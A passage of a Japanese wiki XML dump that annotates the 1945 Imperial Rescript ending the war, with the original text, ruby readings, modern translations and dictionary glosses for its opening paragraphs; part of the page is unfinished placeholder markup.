&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 道&amp;#xE0101;義ヲ篤クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 志操ヲ鞏クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


=== § ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;


&lt;div style=&quot;break-after: page;&quot;&gt;
&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;

== 脚注 ==
&lt;references /&gt;

==  外部リンク ==

[[Category:終戦の詔書|ちゆうかい]]</text>
      <sha1>54mbob3ckcp37jem2jubsaegiqgrghg</sha1>
    </revision>
    <revision>
      <id>305257</id>
      <parentid>305251</parentid>
      <timestamp>2026-11-01T07:27:06Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <comment>/* 他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ */</comment>
      <origin>305257</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="75933" sha1="cxzfrt1q4mopcqmdgy7u6ly1dp4cbw7" xml:space="preserve">&lt;!--【2026年8月16日起稿】--&gt;
*[[第二次世界大戦]]＞[[終戦の詔書]]＞
&lt;div style=&quot;font-family:游明朝;font-size:35pt;text-align:center;&quot;&gt;終&amp;#xE0101;戰ノ詔書&lt;/div&gt;
&lt;div style=&quot;font-family:游明朝;font-size:20pt;text-align:center;&quot;&gt;テキスト註解&lt;/div&gt;

　ここでは、昭和20年8月14日に発布された詔書、いわゆる「終戦の詔書」のテキストを注解する。

== テキスト注解（昭和二十年八月十四日の詔書）==
; [[#第一段落]]　　[[#第二段落]]　　[[#第三段落]]　　[[#第四段落]]　　[[#第五段落]]
:　
; 第一段落
# [[#朕󠄂&amp;#xE0102;（ちん）]]
# [[#朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ]]
# [[#非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ]]
# [[#玆ニ忠良ナル爾臣民ニ吿ク]]
; 第二段落
# [[#朕&amp;#xE0102;ハ帝國政府ヲシテ]]
# [[#米英支蘇四國ニ對シ]]
# [[#其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ]]
; [[#第三段落]]
# [[#抑〻帝國臣民ノ康寧ヲ圖リ]]
# [[#萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ]]
# [[#皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ]]
# [[#朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101;]]
# [[#曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦]]
# [[#實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ]]
# [[#他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ]]
# [[#固ヨリ朕&amp;#xE0102;カ志ニアラス]]
# [[#然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ]]
# [[#朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰]]
# [[#朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100;]]
# [[#朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁]]
# [[#各〻最善ヲ盡セルニ拘ラス]]
# [[#戰局必スシモ好轉セス]]
# [[#世界ノ大勢亦我ニ利アラス]]
# [[#加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使󠄁用シテ]]
# [[#頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ]]
# [[#慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル]]
# [[#而モ尙交&amp;#xE0101;戰ヲ繼續セムカ]]
# [[#終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス]]
# [[#延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ]]
# [[#斯ノ如クムハ]]
# [[#朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ]]
# [[#皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ]]
# [[#是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ]]
; [[#第四段落]]
# [[#朕&amp;#xE0102;ハ帝國ト共ニ]]
# [[#終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ]]
# [[#遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス]]
# [[#帝國臣民ニシテ]]
# [[#戰陣ニ死シ]]
# [[#職域ニ殉シ]]
# [[#非命ニ斃レタル者&amp;#xE0101;]]
# [[#及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ]]
# [[#五內爲ニ裂ク]]
# [[#且戰傷ヲ負&amp;#xE0102;ヒ]]
# [[#災禍&amp;#xE0100;ヲ蒙リ]]
# [[#家業ヲ失ヒタル者&amp;#xE0101;ノ]]
# [[#厚生ニ至リテハ]]
# [[#朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ]]
# [[#惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ]]
# [[#固ヨリ尋&amp;#xE0101;常ニアラス]]
# [[#爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル]]
# [[#然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101;]]
# [[#堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ]]
# [[#以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス]]
; [[#第五段落]]
# [[#朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ]]
# [[#忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ]]
# [[#常ニ爾臣民ト共ニ在リ]]
# [[#若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101;]]
# [[#濫ニ事端ヲ滋クシ]]
# [[#或ハ同胞&amp;#xE0101;排擠]]
# [[#互ニ時局ヲ亂リ]]
# [[#爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ]]
# [[#信義ヲ世界ニ失フカ如キハ]]
# [[#朕&amp;#xE0102;最モ之ヲ戒ム]]
# [[#宜シク擧國一家子孫相傳ヘ]]
# [[#確ク神&amp;#xE0100;州ノ不滅ヲ信シ]]
# [[#任重クシテ]]
# [[#道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ]]
# [[#總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ]]
# [[#道&amp;#xE0101;義ヲ篤クシ]]
# [[#志操ヲ鞏クシ]]
# [[#誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ]]
# [[#世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ]]
# [[#爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ]]

== 第一段落 ==
&lt;!--◆第一段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ玆ニ忠良ナル爾臣民ニ吿ク&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.3; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;現&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とに&lt;ruby&gt;&lt;rb&gt;鑑&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かんが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;み、&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;措&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;置&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;収&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;拾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぐ。&lt;/p&gt;
&lt;/div&gt;

# [[#朕󠄂&amp;#xE0102;（ちん）]]
# [[#朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ]]
# [[#非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ]]
# [[#玆ニ忠良ナル爾臣民ニ吿ク]]

=== 朕󠄂&amp;#xE0102;（ちん） ===
*「&lt;span style=&quot;font-family:游明朝;font-size:20pt;&quot;&gt;朕󠄂&amp;#xE0102;&lt;/span&gt;」は、古代中国で自称として用いられていた言葉だが、[[w:秦|秦]]の[[w:始皇帝|始皇帝]]から[[w:天子|天子]]（皇帝）の自称に限られるようになり、以後は中国・ベトナム・日本の君主の自称として、特に日本では歴代天皇の自称として用いられてきた&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%95-569835 朕(チン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。&lt;br&gt;昭和21年（1946年）の「[[w:人間宣言|人間宣言]]」によって天皇の神格化が完全に否定され、さらに昭和22年（1947年）の[[w:日本国憲法|日本国憲法]]の施行後は「&lt;span style=&quot;font-family:游明朝;&quot;&gt;朕󠄂&amp;#xE0102;&lt;/span&gt;」は一切用いられなくなり、以後の天皇の自称は「&lt;span style=&quot;color:#f88;&quot;&gt;わたくし&lt;/span&gt;」となっている。

=== 朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;現&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とに&lt;ruby&gt;&lt;rb&gt;鑑&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かんが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;み、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしは、世界の情勢と帝国（大日本帝国）の現状とを深く考え合わせ、&lt;/p&gt;
==== 鑑みる ====
*「鑑みる」：先例や他の例とくらべ合わせて考える&lt;ref&gt;[https://kotobank.jp/word/%E9%91%91%E3%81%BF%E3%82%8B-459421#w-1924987 鑑みる(カガミル)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;措&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;置&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;収&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;拾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：緊急措置によって局面を収拾しようと思って、&lt;/p&gt;
==== 非常の ====
*「非常（の）」：普通でない差し迫った、思いがけない緊急事態の&lt;ref&gt;[https://kotobank.jp/word/%E9%9D%9E%E5%B8%B8-610028#w-2096327 非常(ヒジョウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 時局 ====
*「時局」：国家・社会などの、その時の情勢。時世の局面。&lt;ref&gt;[https://kotobank.jp/word/%E6%99%82%E5%B1%80-518076#w-518076 時局(ジキョク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 収集 ====
*「収拾」：乱れた事態などをおさめること。&lt;ref&gt;[https://kotobank.jp/word/%E5%8F%8E%E6%8B%BE-526879#w-1997828 収拾(シュウシュウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 玆ニ忠良ナル爾臣民ニ吿ク ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぐ。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：ここに、忠実で善良なあなたがた国民に告げる。&lt;/p&gt;
==== 玆（ここ）に ====
*「玆に（ここに）」：この時にあたり。&lt;ref&gt;[https://kotobank.jp/word/%E6%AD%A4%E5%87%A6%E3%81%AB-500393#w-500393 此処に(ココニ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 忠良 ====
*「忠良」：忠義で善良なこと。また、そのさまや、その人。&lt;ref&gt;[https://kotobank.jp/word/%E5%BF%A0%E8%89%AF-567930#w-567930 忠良(チュウリョウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 爾（なんじ） ====
*「爾」：「汝」におなじ。「なむじ」が転訛した二人称の代名詞で、中世以降は目下の者に用いられた。&lt;ref&gt;[https://kotobank.jp/word/%E6%B1%9D-429890#w-590506 な‐んじ〔‐んぢ〕【×汝／×爾】- コトバンク]&lt;/ref&gt;
=== 臣民 ===
*「臣民」：臣下としての国民。明治憲法（[[w:大日本帝国憲法|大日本帝国憲法]]）憲法のもとで、天皇、皇・公族以外の者。&lt;ref&gt;[https://kotobank.jp/word/%E8%87%A3%E6%B0%91-82595#w-2013169 臣民(シンミン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;

&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第二段落 ==
&lt;!--◆第二段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ帝國政府ヲシテ米英支蘇四國ニ對シ其ノ共同宣言ヲ受諾スル旨&lt;span style=&quot;color:#500;&quot;&gt;通&amp;#xE0101;&lt;/span&gt;吿セシメタリ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.3; font-family:游明朝;font-size:13pt;&quot;&gt;　　　　